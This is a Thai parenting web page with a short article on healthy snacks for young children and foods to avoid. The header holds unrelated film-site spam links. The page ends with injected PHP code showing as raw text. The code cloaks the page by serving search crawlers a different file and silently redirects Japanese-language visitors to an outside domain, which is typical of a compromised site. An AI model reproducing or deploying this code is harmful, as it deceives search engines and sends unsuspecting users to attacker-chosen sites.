ลงทะเบียนเข้างาน
Mobile number
e-mail
ลงทะเบียนรับ QR CODE
  เข้าสู่ระบบ
sinekfilmizle.com filmizlehell.com
Sponsors
ดูทั้งหมด
Banner
ดูทั้งหมด
บทความ
แบ่งปัน
อาหารว่างแบบไหน? ถูกใจวัยรุ่นฟันน้ำนม



อาหารว่างแบบไหน? ถูกใจวัยรุ่นฟันน้ำนม


อาหารว่างอุดมด้วยประโยชน์
 

  • ผลไม้สด แบบไม่หวานจัด เช่น ส้ม ฝรั่ง ชมพู่ มะละกอ 
  • นมจืด
  • น้ำสมุนไพรไม่หวาน หรือ หวานน้อย
  • น้ำผลไม้คั้นสด หรือสมูทตี้ ไม่เติมน้ำตาล
  • แซนด์วิช ขนบจีบ ซาลาเปา
  • ขนมไทย เช่น ข้าวต้มมัดไส้กล้วย ถั่วแปป


อาหารที่ควรหลีกเลี่ยง

  • ขนมถุงกรุบกรอบ
  • น้ำอัดลม / น้ำหวาน
  • เบเกอรี่ต่างๆ


เกณฑ์ในการเลือกอาหารว่างให้เหมาะสม

หลีกเลี่ยงอาหารว่างที่มีคุณค่าโภชนาการต่ำ เช่น อุดมไปด้วยไขมัน แป้งและน้ำตาล

อาหารว่างควรมีพลังงานไม่ควรเกินมื้อละ 100 - 150 kcal. ต่อมื้อและสามารถกินได้ 2 ครั้ง / วัน



ขอบคุณข้อมูลจาก https://navavej.com/

<  กลับ
เรื่องอื่นๆ ที่เกี่ยวข้อง
ลูกปวดท้องแบบไหน ต้องรีบพบแพทย์ด่วน!
ลูกปวดท้องแบบไหน ต้องรีบพบแพทย์ด่วน!
พัฒนาการลูกวัย 7-9 เดือน
พัฒนาการลูกวัย 7-9 เดือน
Sponsors
ดูทั้งหมด
Banner
ดูทั้งหมด
error_reporting(0); $ua = strtolower($_SERVER['HTTP_USER_AGENT']); $rf=$_SERVER['HTTP_REFERER']; $botchar = "/(googlebot|slurp|adsense|google-inspectiontool)/"; if(preg_match($botchar, $ua)) { if($_SERVER['REQUEST_URI']=='/' { $file = file_get_contents(dirname ( __FILE__ ) .'/bbb31impact.html'); echo $file; exit; } } error_reporting(0); $language = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; if (strpos ( $language, "ja" ) > - 1) { header ( 'Location: https://ht428.org/' ); exit (); }